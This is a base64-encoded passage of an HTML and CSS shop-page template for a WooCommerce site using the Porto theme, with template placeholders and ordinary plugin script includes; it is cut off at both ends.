bGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0wNzQ5YjYwID4gLnBvcnRvLWliYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMDc0OWI2MCB7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtZjdmZWQ2OSAucG9ydG8taWJhbm5lci1sYXllciB7DQogICAgICAgICAgICAgICAgICAgIHdpZHRoOiA2NCU7DQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC1lNzQ2MmY1IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjRUU4Mzc5Ow0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMzc1ZW07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjg1ZW07DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0wLjVweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMTE0YWI2ZCAuZWxlbWVudG9yLWhlYWRpbmctdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW07DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkxcHgpIHsNCiAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtMC4zcHg7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAgICAgICAgIC5ob21lLW1pZC1iYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNDBweCAhaW1wb3J0YW50DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9PC9zdHlsZT4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayBlbGVtZW50b3IgZWxlbWVudG9yLTUyMiIgZGF0YS1pZD0iNTIyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwdC1yaWdodCBkLW5vbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0icGFnZS10aXRsZSI+U2hvcDwvaDE+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWJzLXdyYXAgcHQtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9CcmVhZGNydW1iTGlzdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iaG9tZSIgaXRlbXByb3A9Iml0ZW1MaXN0RWxlbWVudCIgaXRlbXNjb3BlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtdHlwZT0iaHR0cHM6Ly9zY2hlbWEub3JnL0xpc3RJdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9icmVhZGNydW1ifX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImRlbGltaXRlciBkZWxpbWl0ZXItMiI+PC9pPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpdGVtcHJvcD0iaXRlbUxpc3RFbGVtZW50IiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9MaXN0SXRlbSI+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtcHJvcD0ibmFtZSI+U2hvcDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMiIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvVGhpbmciIGl0ZW1wcm9wPSJpdGVtIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudD0ic2hvcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L3NlY3Rpb24+DQoNCiAgICAgICAgPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImNvbHVtbjIgY29sdW1uMi1yaWdodC1zaWRlYmFyIHdpZGUgY2xlYXJmaXgiPjwhLS0gbWFpbiAtLT4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbWFpbi1jb250ZW50LXdyYXAiPg0KDQogICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBjb250ZW50IC0tPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQgY29sLWxnLTkiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1iZWZvcmUiPjxhIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwb3J0by1wcm9kdWN0LWZpbHRlcnMtdG9nZ2xlIHNpZGViYXItdG9nZ2xlIGQtaW5saW5lLWZsZXgiPjxpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImZhcyBmYS1zbGlkZXJzLWgiPjwvaT4gPHNwYW4+RmlsdGVyczwvc3Bhbj48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9uZXh0fX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uYXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhcmNoaXZlLXByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2xpc3R9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1hZnRlciBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl90dXJuX3BhZ2V9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L25hdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9tYWluPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMgc2lkZWJhciBwb3J0by13b28tY2F0ZWdvcnktc2lkZWJhciByaWdodC1zaWRlYmFyIG1vYmlsZS1zaWRlYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBzaWRlYmFyIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YXNpZGUgaWQ9Indvb2NvbW1lcmNlX3Byb2R1Y3RfY2F0ZWdvcmllcy0yIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0id2lkZ2V0IHdvb2NvbW1lcmNlIHdpZGdldF9wcm9kdWN0X2NhdGVnb3JpZXMiPjxoMyBjbGFzcz0id2lkZ2V0LXRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2F0ZWdvcmllczwvaDM+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdC1jYXRlZ29yaWVzIj57e2NvbGxlY3Rpb25fc3ViX2NhdGVnb3J5fX08L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYXNpZGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFzaWRlIGlkPSJ3b29jb21tZXJjZV9wcmljZV9maWx0ZXItMyIgY2xhc3M9IndpZGdldCB3b29jb21tZXJjZSB3aWRnZXRfcHJpY2VfZmlsdGVyIj48aDMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPlByaWNlPC9oMz48L2FzaWRlPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gc2lkZWJhciAtLT4NCg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgaWQ9ImZvb3RlciIgY2xhc3M9ImZvb3RlciBmb290ZXItMyINCiAgICAgICAgICAgID4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9jc3MvcnM2LmNzcz92ZXI9Ni41LjIwJyBtZWRpYT0nYWxsJy8+DQo8c3R5bGUgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1pbmxpbmUtY3NzJz4NCiAgICAjcnMtZGVtby1pZCB7DQogICAgfQ0KPC9zdHlsZT4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL3N3di9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdzd3YtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nY29udGFjdC1mb3JtLTctanMtZXh0cmEnPg0KICAgIHZhciB3cGNmNyA9IHsiYXBpIjogeyJyb290IjogIlwvd3AtanNvblwvIiwgIm5hbWVzcGFjZSI6ICJjb250YWN0LWZvcm0tN1wvdjEifX07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J2NvbnRhY3QtZm9ybS03LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JidG9vbHMubWluLmpzP3Zlcj02LjUuMTgnIGRlZmVyIGFzeW5jDQogICAgICAgIGlkPSd0cC10b29scy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yczYubWluLmpzP3Zlcj02LjUuMjAnIGRlZmVyIGFzeW5jIGlkPSdyZXZtaW4tanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1ibG9ja3VpL2pxdWVyeS5ibG9ja1VJLm1pbi5qcz92ZXI9Mi43LjAtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktYmxvY2t1aS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1hZGQtdG8tY2FydC1qcy1leHRyYSc+DQogICAgdmFyIHdjX2FkZF90b19jYXJ0X3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImkxOG5fdmlld19jYXJ0IjogIlZpZXcgY2FydCIsDQogICAgICAgICJjYXJ0X3VybCI6ICJcL2NhcnQiLA0KICAgICAgICAiaXNfY2FydCI6ICIiLA0KICAgICAgICAiY2FydF9yZWRpcmVjdF9hZnRlcl9hZGQiOiAibm8iDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2FkZC10by1jYXJ0Lm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1hZGQtdG8tY2FydC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanMtY29va2llL2pzLmNvb2tpZS5taW4uanM/dmVyPTIuMS40LXdjLjYuNy4wJw0KICAgICAgICBpZD0nanMtY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3dvb2NvbW1lcmNlLWpzLWV4dHJhJz4NCiAgICB2YXIgd29vY29tbWVyY2VfcGFyYW1zID0geyJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvd29vY29tbWVyY2UubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3dvb2NvbW1lcmNlLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfY2FydF9mcmFnbWVudHNfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiY2FydF9oYXNoX2tleSI6ICJ3Y19jYXJ0X2hhc2hfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAiZnJhZ21lbnRfbmFtZSI6ICJ3Y19mcmFnbWVudHNfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAicmVxdWVzdF90aW1lb3V0IjogIjUwMDAiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2NhcnQtZnJhZ21lbnRzLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcy1leHRyYSc+DQogICAgdmFyIHBvcnRvX2xpdmVfc2VhcmNoID0geyJub25jZSI6ICJmODkyZGQ5NDY5In07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vaW5jL2xpYi9saXZlLXNlYXJjaC9saXZlLXNlYXJjaC5taW4uanM/dmVyPTYuNy4yJw0KICAgICAgICBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9ib290c3RyYXAuanM/dmVyPTUuMC4xJyBpZD0nYm9vdHN0cmFwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktY29va2llL2pxdWVyeS5jb29raWUubWluLmpzP3Zlcj0xLjQuMS13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL293bC5jYXJvdXNlbC5taW4uanM/dmVyPTIuMy40JyBpZD0nb3dsLmNhcm91c2VsLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvaW1hZ2VzbG9hZGVkLm1pbi5qcz92ZXI9NC4xLjQnIGlkPSdpbWFnZXNsb2FkZWQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvanF1ZXJ5Lm1hZ25pZmljLXBvcHVwLm1pbi5qcz92ZXI9MS4xLjAnDQogICAgICAgIGlkPSdq